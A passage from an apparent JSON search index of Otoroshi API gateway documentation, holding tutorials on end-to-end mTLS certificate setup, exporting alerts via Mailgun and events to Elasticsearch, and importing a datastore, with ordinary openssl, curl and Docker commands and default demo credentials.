[`otoroshi-global-el`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-el%22%29)\n- [`otoroshi-plugins-oauth1-caller-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-oauth1-caller-plugin%22%29)\n- [`otoroshi-dynamic-sslcontext`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-dynamic-sslcontext%22%29)\n- [`otoroshi-plugins-access-log-clf`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-access-log-clf%22%29)\n- [`otoroshi-plugins-access-log-json`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-access-log-json%22%29)\n- [`otoroshi-plugins-kafka-access-log`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kafka-access-log%22%29)\n- [`otoroshi-plugins-kubernetes-client`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-client%22%29)\n- [`otoroshi-plugins-kubernetes-ingress-controller-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-ingress-controller-job%22%29)\n- [`otoroshi-plugins-kubernetes-ingress-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-ingress-sync%22%29)\n- [`otoroshi-plugins-kubernetes-crds-controller-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-crds-controller-job%22%29)\n- [`otoroshi-plugins-kubernetes-crds-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-crds-sync%22%29)\n- [`otoroshi-cluster`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cluster%22%29)\n- [`otoroshi-crd-validator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-crd-validator%22%29)\n- [`otoroshi-sidecar-injector`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-sidecar-injector%22%29)\n- [`otoroshi-plugins-kubernetes-cert-sync`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-cert-sync%22%29)\n- [`otoroshi-plugins-kubernetes-to-otoroshi-certs-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-kubernetes-to-otoroshi-certs-job%22%29)\n- [`otoroshi-plugins-otoroshi-certs-to-kubernetes-secrets-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-otoroshi-certs-to-kubernetes-secrets-job%22%29)\n- [`otoroshi-apikeys-workflow-job`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-apikeys-workflow-job%22%29)\n- [`otoroshi-cert-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert-helper%22%29)\n- [`otoroshi-certificates-ocsp`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-certificates-ocsp%22%29)\n- [`otoroshi-claim`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-claim%22%29)\n- [`otoroshi-cert`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert%22%29)\n- [`otoroshi-ssl-provider`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ssl-provider%22%29)\n- [`otoroshi-cert-data`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-cert-data%22%29)\n- [`otoroshi-client-cert-validator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-client-cert-validator%22%29)\n- [`otoroshi-ssl-implicits`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ssl-implicits%22%29)\n- [`otoroshi-saml-validator-utils`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-saml-validator-utils%22%29)\n- [`otoroshi-global-saml-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-saml-config%22%29)\n- [`otoroshi-plugins-hmac-caller-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hmac-caller-plugin%22%29)\n- [`otoroshi-plugins-hmac-access-validator-plugin`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hmac-access-validator-plugin%22%29)\n- [`otoroshi-plugins-hasallowedusersvalidator`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-hasallowedusersvalidator%22%29)\n- [`otoroshi-auth-module-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-auth-module-config%22%29)\n- [`otoroshi-basic-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-basic-auth-config%22%29)\n- [`otoroshi-ldap-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ldap-auth-config%22%29)\n- [`otoroshi-plugins-jsonpath-helper`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-plugins-jsonpath-helper%22%29)\n- [`otoroshi-global-oauth2-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-oauth2-config%22%29)\n- [`otoroshi-global-oauth2-module`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-global-oauth2-module%22%29)\n- [`otoroshi-ldap-auth-config`](https://github.com/MAIF/otoroshi/search?q=Logger%28%22otoroshi-ldap-auth-config%22%29)\n- [`otoroshi-wasm-integration`](https://github.com/search?q=repo%3AMAIF%2Fotoroshi+Logger%28%22otoroshi-wasm-integration%22%29)\n"},{"name":"end-to-end-mtls.md","id":"/how-to-s/end-to-end-mtls.md","url":"/how-to-s/end-to-end-mtls.html","title":"End-to-end mTLS","content":"# End-to-end mTLS\n\nIf you want to use MTLS on otoroshi, you first need to enable it. It is not enabled by default as it will make TLS handshake way heavier. \nTo enable it just change the following config :\n\n```sh\notoroshi.ssl.fromOutside.clientAuth=None|Want|Need\n```\n\nor using env. variables\n\n```sh\nSSL_OUTSIDE_CLIENT_AUTH=None|Want|Need\n```\n\nYou can use the `Want` setup if you cant to have both mtls on some services and no mtls on other services.\n\nYou can also change the trusted CA list sent in the handshake certificate request from the `Danger Zone` in `Tls Settings`.\n\nOtoroshi support mutual TLS out of the box. mTLS from client to Otoroshi and from Otoroshi to targets are supported. In this article we will see how to configure Otoroshi to use end-to-end mTLS. All code and files used in this articles can be found on the [Otoroshi github](https://github.com/MAIF/otoroshi/tree/master/demos/mtls)\n\n### Create certificates\n\nBut first we need to generate some certificates to make the demo work\n\n```sh\nmkdir mtls-demo\ncd mtls-demo\nmkdir ca\nmkdir server\nmkdir client\n\n# create a certificate authority key, use password as pass phrase\nopenssl genrsa -out ./ca/ca-backend.key 4096\n# remove pass phrase\nopenssl rsa -in ./ca/ca-backend.key -out ./ca/ca-backend.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key ./ca/ca-backend.key -out ./ca/ca-backend.cer -subj \"/CN=MTLSB\"\n\n\n# create a certificate authority key, use password as pass phrase\nopenssl genrsa -out ./ca/ca-frontend.key 2048\n# remove pass phrase\nopenssl rsa -in ./ca/ca-frontend.key -out ./ca/ca-frontend.key\n# generate the certificate authority cert\nopenssl req -new -x509 -sha256 -days 730 -key ./ca/ca-frontend.key -out ./ca/ca-frontend.cer -subj \"/CN=MTLSF\"\n\n\n# now create the backend cert key, use password as pass phrase\nopenssl genrsa -out ./server/_.backend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./server/_.backend.oto.tools.key -out ./server/_.backend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./server/_.backend.oto.tools.key -sha256 -out ./server/_.backend.oto.tools.csr -subj \"/CN=*.backend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./server/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 1 -out ./server/_.backend.oto.tools.cer\n# verify the certificate, should output './server/_.backend.oto.tools.cer: OK'\nopenssl verify -CAfile ./ca/ca-backend.cer ./server/_.backend.oto.tools.cer\n\n\n# now create the frontend cert key, use password as pass phrase\nopenssl genrsa -out ./server/_.frontend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./server/_.frontend.oto.tools.key -out ./server/_.frontend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./server/_.frontend.oto.tools.key -sha256 -out ./server/_.frontend.oto.tools.csr -subj \"/CN=*.frontend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./server/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 1 -out ./server/_.frontend.oto.tools.cer\n# verify the certificate, should output './server/_.frontend.oto.tools.cer: OK'\nopenssl verify -CAfile ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.cer\n\n\n# now create the client cert key for backend, use password as pass phrase\nopenssl genrsa -out ./client/_.backend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./client/_.backend.oto.tools.key -out ./client/_.backend.oto.tools.csr -subj \"/CN=*.backend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./client/_.backend.oto.tools.csr -CA ./ca/ca-backend.cer -CAkey ./ca/ca-backend.key -set_serial 2 -out ./client/_.backend.oto.tools.cer\n# generate a pem version of the cert and key, use password as password\nopenssl x509 -in client/_.backend.oto.tools.cer -out client/_.backend.oto.tools.pem -outform PEM\n\n\n# now create the client cert key for frontend, use password as pass phrase\nopenssl genrsa -out ./client/_.frontend.oto.tools.key 2048\n# remove pass phrase\nopenssl rsa -in ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.key\n# generate the csr for the certificate\nopenssl req -new -key ./client/_.frontend.oto.tools.key -out ./client/_.frontend.oto.tools.csr -subj \"/CN=*.frontend.oto.tools\"\n# generate the certificate\nopenssl x509 -req -days 365 -sha256 -in ./client/_.frontend.oto.tools.csr -CA ./ca/ca-frontend.cer -CAkey ./ca/ca-frontend.key -set_serial 2 -out ./client/_.frontend.oto.tools.cer\n# generate a pkcs12 version of the cert and key, use password as password\n# openssl pkcs12 -export -clcerts -in client/_.frontend.oto.tools.cer -inkey client/_.frontend.oto.tools.key -out client/_.frontend.oto.tools.p12\nopenssl x509 -in client/_.frontend.oto.tools.cer -out client/_.frontend.oto.tools.pem -outform PEM\n```\n\nOnce it's done, you should have something like\n\n```sh\n$ tree\n.\n├── backend.js\n├── ca\n│   ├── ca-backend.cer\n│   ├── ca-backend.key\n│   ├── ca-frontend.cer\n│   └── ca-frontend.key\n├── client\n│   ├── _.backend.oto.tools.cer\n│   ├── _.backend.oto.tools.csr\n│   ├── _.backend.oto.tools.key\n│   ├── _.backend.oto.tools.pem\n│   ├── _.frontend.oto.tools.cer\n│   ├── _.frontend.oto.tools.csr\n│   ├── _.frontend.oto.tools.key\n│   └── _.frontend.oto.tools.pem\n└── server\n ├── _.backend.oto.tools.cer\n ├── _.backend.oto.tools.csr\n ├── _.backend.oto.tools.key\n ├── _.frontend.oto.tools.cer\n ├── _.frontend.oto.tools.csr\n └── _.frontend.oto.tools.key\n\n3 directories, 18 files\n```\n\n### The backend service \n\nnow, let's create a backend service using nodejs. Create a file named `backend.js`\n\n```sh\ntouch backend.js\n```\n\nand put the following content\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\nconst options = { \n key: fs.readFileSync('./server/_.backend.oto.tools.key'), \n cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), \n ca: fs.readFileSync('./ca/ca-backend.cer'), \n}; \n\nconst server = https.createServer(options, (req, res) => { \n res.writeHead(200, {\n 'Content-Type': 'application/json'\n }); \n res.end(JSON.stringify({ message: 'Hello World!' }) + \"\\n\"); \n}).listen(8444);\n\nconsole.log('Server listening:', `http://localhost:${server.address().port}`);\n```\n\nto run the server, just do \n\n```sh\nnode ./backend.js\n```\n\nnow you can try your server with\n\n```sh\ncurl --cacert ./ca/ca-backend.cer 'https://api.backend.oto.tools:8444/'\n```\n\nThis should output :\n```json\n{ \"message\": \"Hello World!\" }\n```\n\nnow modify your backend server to ensure that the client provides a client certificate like:\n\n```js\nconst fs = require('fs'); \nconst https = require('https'); \n\nconst options = { \n key: fs.readFileSync('./server/_.backend.oto.tools.key'), \n cert: fs.readFileSync('./server/_.backend.oto.tools.cer'), \n ca: fs.readFileSync('./ca/ca-backend.cer'), \n requestCert: true, \n rejectUnauthorized: true\n}; \n\nconst server = https.createServer(options, (req, res) => { \n console.log('Client certificate CN: ', req.socket.getPeerCertificate().subject.CN);\n res.writeHead(200, {\n 'Content-Type': 'application/json'\n }); \n res.end(JSON.stringify({ message: 'Hello World!' }) + \"\\n\"); \n}).listen(8444);\n\nconsole.log('Server listening:', `http://localhost:${server.address().port}`);\n```\n\nyou can test your new server with\n\n```sh\ncurl \\\n --cacert ./ca/ca-backend.cer \\\n --cert ./client/_.backend.oto.tools.pem \\\n --key ./client/_.backend.oto.tools.key 'https://api.backend.oto.tools:8444/'\n```\n\nthe output should be :\n\n```json\n{ \"message\": \"Hello World!\" }\n```\n\n### Otoroshi setup\n\nDownload the latest version of the Otoroshi jar and run it like\n\n```sh\n java \\\n -Dotoroshi.adminPassword=password \\\n -Dotoroshi.ssl.fromOutside.clientAuth=Want \\\n -jar -Dotoroshi.storage=file otoroshi.jar\n\n[info] otoroshi-env - Admin API exposed on http://otoroshi-api.oto.tools:8080\n[info] otoroshi-env - Admin UI exposed on http://otoroshi.oto.tools:8080\n[info] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[info] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[info] otoroshi-env - You can log into the Otoroshi admin console with the following credentials: admin@otoroshi.io / password\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n[info] p.c.s.AkkaHttpServer - Listening for HTTPS on /0:0:0:0:0:0:0:0:8443\n[info] otoroshi-env - Generating a self signed SSL certificate for https://*.oto.tools ...\n```\n\nand log into otoroshi with the tuple `admin@otoroshi.io / password` displayed in the logs. \n\nOnce logged in, navigate to the routes page and create a new route.\n\n* Set a name then validate the creation\n* On frontend node, add `api.frontend.oto.tools` in the list of domains\n* On backend node, replace the target with `api.backend.oto.tools` as hostname and `8444` as port. \n\nSave the route and try to call it.\n\n```sh\ncurl 'http://api.frontend.oto.tools:8080/'\n```\n\nThis should output :\n```json\n{\"Otoroshi-Error\": \"Something went wrong, you should try later. Thanks for your understanding.\"}\n```\n\nyou should get an error due to the fact that Otoroshi doesn't know about the server certificate and the client certificate expected by the server.\n\nWe must declare the client and server certificates for `https://api.backend.oto.tools` to Otoroshi. \n\nGo to the [certificates page](http://otoroshi.oto.tools:8080/bo/dashboard/certificates) and create a new item. Drag and drop the content of the `./client/_.backend.oto.tools.cer` and `./client/_.backend.oto.tools.key` files, respectively in `Certificate full chain` and `Certificate private key`.\n\nIf you prefer to use the API, you can create an Otoroshi certificate automatically from a PEM bundle.\n\n```sh\ncat ./server/_.backend.oto.tools.cer ./ca/ca-backend.cer ./server/_.backend.oto.tools.key | curl \\\n -H 'Content-Type: text/plain' -X POST \\\n --data-binary @- \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n http://otoroshi-api.oto.tools:8080/api/certificates/_bundle \n```\n\nnow we have to expose `https://api.frontend.oto.tools:8443` using otoroshi. \n\nCreate a second item. Copy and paste the content of `./server/_.frontend.oto.tools.cer` and `./server/_.frontend.oto.tools.key` respectively in `Certificate full chain` and `Certificate private key`.\n\nIf you don't want to bother with UI copy/paste, you can use the import bundle api endpoint to create an otoroshi certificate automatically from a PEM bundle.\n\n```sh\ncat ./server/_.frontend.oto.tools.cer ./ca/ca-frontend.cer ./server/_.frontend.oto.tools.key | curl \\\n -H 'Content-Type: text/plain' -X POST \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n --data-binary @- \\\n http://otoroshi-api.oto.tools:8080/api/certificates/_bundle\n```\n\nOnce created, go back to your route. On the target of the backend node, we have to enable the custom Otoroshi TLS.\n\n* Click on the backend node\n* Click on your target\n* Click on the Show advanced settings button\n* Click on Custom TLS setup\n* Enable the section\n* In the list of certificates, select the backend certificate\n* In the list of trusted certificates, select the frontend certificate\n* Save your route\n \nTry the following command\n\n```sh\ncurl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\nNow we want to enforce the fact that we want client certificate for `api.frontend.oto.tools`. \n\nSearch in the list of plugins and add the `Client Certificate Only` plugin to your route.\n\nnow if you retry \n\n```sh\ncurl --cacert ./ca/ca-frontend.cer 'https://api.frontend.oto.tools:8443/'\n```\nthe output should be\n\n```json\n{\"Otoroshi-Error\":\"bad request\"}\n```\n\nyou should get an error because no client certificate is passed with the request. But if you pass the `./client/_.frontend.oto.tools.csr` client cert and the key in your curl call\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\n### Client certificate matching plugin\n\nOtoroshi can restrict and check all incoming client certificates on a route.\n\nSearch in the list of plugins the `Client certificate matching` plugin and add it the the flow.\n\nSave the route and retry your call again.\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"Otoroshi-Error\":\"bad request\"}\n```\n\nOur client certificate is not matched by Otoroshi. We have to add the subject DN in the configuration of the `Client certificate matching` plugin to authorize it.\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"serialNumbers\": [],\n \"subjectDNs\": [\n \"CN=*.frontend.oto.tools\"\n ],\n \"issuerDNs\": [],\n \"regexSubjectDNs\": [],\n \"regexIssuerDNs\": []\n }\n}\n```\n\nSave the service and retry your call again.\n\n```sh\ncurl 'https://api.frontend.oto.tools:8443' \\\n --cacert ./ca/ca-frontend.cer \\\n --cert ./client/_.frontend.oto.tools.pem \\\n --key ./client/_.frontend.oto.tools.key\n```\nthe output should be\n\n```json\n{\"message\":\"Hello World!\"}\n```\n\n\n"},{"name":"export-alerts-using-mailgun.md","id":"/how-to-s/export-alerts-using-mailgun.md","url":"/how-to-s/export-alerts-using-mailgun.html","title":"Send alerts using mailgun","content":"# Send alerts using mailgun\n\nAll Otoroshi alerts can be send on different channels.\nOne of the ways is to send a group of specific alerts via emails.\n\nTo enable this behaviour, let's start by create an exporter of events.\n\nIn this tutorial, we will admit that you already have a mailgun account with an API key and a domain.\n\n## Create an Mailgun exporter\n\nLet's create an exporter. The exporter will export by default all events generated by Otoroshi.\n\n1. Go ahead, and navigate to http://otoroshi.oto.tools:8080\n2. Click on the cog icon on the top right\n3. Then `Exporters` button\n4. And add a new configuration when clicking on the `Add item` button\n5. Select the `mailer` in the `type` selector field\n6. Jump to `Exporter config` and select the `Mailgun` option\n7. Set the following values:\n* `EU` : false/true depending on your mailgun configuratin\n* `Mailgun api key` : your-mailgun-api-key\n* `Mailgun domain` : your-mailgun-domain\n* `Email addresses` : list of the recipient adresses\n\nWith this configuration, all Otoroshi events will be send to your listed addresses (we don't recommended to do that).\n\nTo filter events on `Alerts` type, we need to add the following configuration inside the `Filtering and projection` section (if you want to deep learn about this section, read this @ref:[part](../entities/data-exporters.md#matching-and-projections)).\n\n```json\n{\n \"include\": [\n { \"@type\": \"AlertEvent\" }\n ],\n \"exclude\": []\n}\n``` \n\nSave at the bottom page and enable the exporter (on the top of the page or in list of exporters). We will need to wait few seconds to receive the first alerts.\n\nThe **projection** field can be useful in the case you want to filter the fields contained in each alert sent.\n\nThe `Projection` field is a json where you can list the fields to keep for each alert.\n\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nWith this example, only `@type`, `@timestamp` and `@id` will be sent to the addresses of your recipients."},{"name":"export-events-to-elastic.md","id":"/how-to-s/export-events-to-elastic.md","url":"/how-to-s/export-events-to-elastic.html","title":"Export events to Elasticsearch","content":"# Export events to Elasticsearch\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Deploy a Elasticsearch and kibana stack on Docker\n\nLet's start by creating an Elasticsearch and Kibana stack on our machine (if it's already done for you, you can skip this section).\n\nTo start an Elasticsearch container for development or testing, run:\n\n```sh\ndocker network create elastic\ndocker pull docker.elastic.co/elasticsearch/elasticsearch:7.15.1\ndocker run --name es01-test --net elastic -p 9200:9200 -p 9300:9300 -e \"discovery.type=single-node\" docker.elastic.co/elasticsearch/elasticsearch:7.15.1\n```\n\n```sh\ndocker pull docker.elastic.co/kibana/kibana:7.15.1\ndocker run --name kib01-test --net elastic -p 5601:5601 -e \"ELASTICSEARCH_HOSTS=http://es01-test:9200\" docker.elastic.co/kibana/kibana:7.15.1\n```\n\nTo access Kibana, go to @link:[http://localhost:5601](http://localhost:5601) { open=new }.\n\n### Create an Elasticsearch exporter\n\nLet's create an exporter. The exporter will export by default all events generated by Otoroshi.\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n2. Click on the cog icon on the top right\n3. Then `Exporters` button\n4. And add a new configuration when clicking on the `Add item` button\n5. Select the `elastic` in the `type` selector field\n6. Jump to `Exporter config`\n7. Set the following values: `Cluster URI` -> `http://localhost:9200`\n\nThen test your configuration by clicking on the `Check connection` button. This should output a modal with the Elasticsearch version and the number of loaded docs.\n\nSave at the bottom of the page and enable the exporter (on the top of the page or in list of exporters).\n\n### Testing your configuration\n\nOne simple way to test is to setup the reading of our Elasticsearch instance by Otoroshi.\n\nNavigate to the danger zone (click on the cog on the top right and scroll to `danger zone`). Jump to the `Analytics: Elastic dashboard datasource (read)` section.\n\nSet the following values : `Cluster URI` -> `http://localhost:9200`\n\nThen click on the `Check connection`. This should ouput the same result as the previous part. Save the global configuration and navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/stats](http://otoroshi.oto.tools:8080/bo/dashboard/stats) { open=new }.\n\nThis should output a list of graphs.\n\n### Advanced usage\n\nBy default, an exporter handle all events from Otoroshi. In some case, you need to filter the events to send to elasticsearch.\n\nTo filter the events, jump to the `Filtering and projection` field in exporter view. Otoroshi supports to include a kind of events or to exclude a list of events (if you want to deep learn about this section, read this @ref:[part](../entities/data-exporters.md#matching-and-projections)). \n\nAn example which keep only events with a field `@type` of value `AlertEvent`:\n```json\n{\n \"include\": [\n { \"@type\": \"AlertEvent\" }\n ],\n \"exclude\": []\n}\n```\nAn example which exclude only events with a field `@type` of value `GatewayEvent` :\n```json\n{\n \"exclude\": [\n { \"@type\": \"GatewayEvent\" }\n ],\n \"include\": []\n}\n```\n\nThe next field is the **Projection**. This field is a json when you can list the fields to keep for each event.\n\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nWith this example, only `@type`, `@timestamp` and `@id` will be send to ES.\n\n### Debug your configuration\n\n#### Missing user rights on Elasticsearch\n\nWhen creating an exporter, Otoroshi try to join the index route of the elasticsearch instance. If you have a specific management access rights on Elasticsearch, you have two possiblities :\n\n- set a full access to the user used in Otoroshi for write in Elasticsearch\n- set the version of Elasticsearch inside the `Version` field of your exporter.\n\n#### None event appear in your Elasticsearch\n\nWhen creating an exporter, Otoroshi try to push the index template on Elasticsearch. If the post failed, Otoroshi will fail for each push of events and your database will keep empty. \n\nTo fix this problem, you can try to send the index template with the `Manually apply index template` button in your exporter."},{"name":"import-export-otoroshi-datastore.md","id":"/how-to-s/import-export-otoroshi-datastore.md","url":"/how-to-s/import-export-otoroshi-datastore.html","title":"Import and export Otoroshi datastore","content":"# Import and export Otoroshi datastore\n\n### Start Otoroshi with an initial datastore\n\nLet's start by downloading the latest Otoroshi\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nBy default, Otoroshi starts with domain `oto.tools` that targets `127.0.0.1` Now you are almost ready to run Otoroshi for the first time, we want run it with an initial data.\n\nTo do that, you need to add the **otoroshi.importFrom** setting to the Otoroshi configuration (of `$APP_IMPORT_FROM` env). It can be a file path or a URL. The content of the initial datastore can look something like the following.\n\n```json\n{\n \"label\": \"Otoroshi initial datastore\",\n \"admins\": [],\n \"simpleAdmins\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"username\": \"admin@otoroshi.io\",\n \"password\": \"$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.\",\n \"label\": \"Otoroshi Admin\",\n \"createdAt\": 1634651307724,\n \"type\": \"SIMPLE\",\n \"metadata\": {},\n \"tags\": [],\n \"rights\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ]\n }\n ],\n \"serviceGroups\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"admin-api-group\",\n \"name\": \"Otoroshi Admin Api group\",\n \"description\": \"No description\",\n \"tags\": [],\n \"metadata\": {}\n },\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"default\",\n \"name\": \"default-group\",\n \"description\": \"The default service group\",\n \"tags\": [],\n \"metadata\": {}\n }\n ],\n \"apiKeys\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"clientId\": \"admin-api-apikey-id\",\n \"clientSecret\": \"admin-api-apikey-secret\",\n \"clientName\": \"Otoroshi Backoffice ApiKey\",\n \"description\": \"The apikey use by the Otoroshi UI\",\n \"authorizedGroup\": \"admin-api-group\",\n \"authorizedEntities\": [\n \"group_admin-api-group\"\n ],\n \"enabled\": true,\n \"readOnly\": false,\n \"allowClientIdOnly\": false,\n \"throttlingQuota\": 10000,\n \"dailyQuota\": 10000000,\n \"monthlyQuota\": 10000000,\n \"constrainedServicesOnly\": false,\n \"restrictions\": {\n \"enabled\": false,\n \"allowLast\": true,\n \"allowed\": [],\n \"forbidden\": [],\n \"notFound\": []\n },\n \"rotation\": {\n \"enabled\": false,\n \"rotationEvery\": 744,\n \"gracePeriod\": 168,\n \"nextSecret\": null\n },\n \"validUntil\": null,\n \"tags\": [],\n \"metadata\": {}\n }\n ],\n \"serviceDescriptors\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"admin-api-service\",\n \"groupId\": \"admin-api-group\",\n \"groups\": [\n \"admin-api-group\"\n ],\n \"name\": \"otoroshi-admin-api\",\n \"description\": \"\",\n \"env\": \"prod\",\n \"domain\": \"oto.tools\",\n \"subdomain\": \"otoroshi-api\",\n \"targetsLoadBalancing\": {\n \"type\": \"RoundRobin\"\n },\n \"targets\": [\n {\n \"host\": \"127.0.0.1:8080\",\n \"scheme\": \"http\",\n \"weight\": 1,\n \"mtlsConfig\": {\n \"certs\": [],\n \"trustedCerts\": [],\n \"mtls\": false,\n \"loose\": false,\n \"trustAll\": false\n },\n \"tags\": [],\n \"metadata\": {},\n \"protocol\": \"HTTP/1.1\",\n \"predicate\": {\n \"type\": \"AlwaysMatch\"\n },\n \"ipAddress\": null\n }\n ],\n \"root\": \"/\",\n \"matchingRoot\": null,\n \"stripPath\": true,\n \"localHost\": \"127.0.0.1:8080\",\n \"localScheme\": \"http\",\n \"redirectToLocal\": false,\n \"enabled\": true,\n \"userFacing\": false,\n \"privateApp\": false,\n \"forceHttps\": false,\n \"logAnalyticsOnServer\": false,\n \"useAkkaHttpClient\": true,\n \"useNewWSClient\": false,\n \"tcpUdpTunneling\": false,\n \"detectApiKeySooner\": false,\n \"maintenanceMode\": false,\n \"buildMode\": false,\n \"strictlyPrivate\": false,\n \"enforceSecureCommunication\": true,\n \"sendInfoToken\": true,\n \"sendStateChallenge\": true,\n \"sendOtoroshiHeadersBack\": true,\n \"readOnly\": false,\n \"xForwardedHeaders\": false,\n \"overrideHost\": true,\n \"allowHttp10\": true,\n \"letsEncrypt\": false,\n \"secComHeaders\": {\n \"claimRequestName\": null,\n \"stateRequestName\": null,\n \"stateResponseName\": null\n },\n \"secComTtl\": 30000,\n \"secComVersion\": 1,\n \"secComInfoTokenVersion\": \"Legacy\",\n \"secComExcludedPatterns\": [],\n \"securityExcludedPatterns\": [],\n \"publicPatterns\": [\n \"/health\",\n \"/metrics\"\n ],\n \"privatePatterns\": [],\n \"additionalHeaders\": {\n \"Host\": \"otoroshi-admin-internal-api.oto.tools\"\n },\n \"additionalHeadersOut\": {},\n \"missingOnlyHeadersIn\": {},\n \"missingOnlyHeadersOut\": {},\n \"removeHeadersIn\": [],\n \"removeHeadersOut\": [],\n \"headersVerification\": {},\n \"matchingHeaders\": {},\n \"ipFiltering\": {\n \"whitelist\": [],\n \"blacklist\": []\n },\n \"api\": {\n \"exposeApi\": false\n },\n \"healthCheck\": {\n \"enabled\": false,\n \"url\": \"/\"\n },\n \"clientConfig\": {\n \"useCircuitBreaker\": true,\n \"retries\": 1,\n \"maxErrors\": 20,\n \"retryInitialDelay\": 50,\n \"backoffFactor\": 2,\n \"callTimeout\": 30000,\n \"callAndStreamTimeout\": 120000,\n 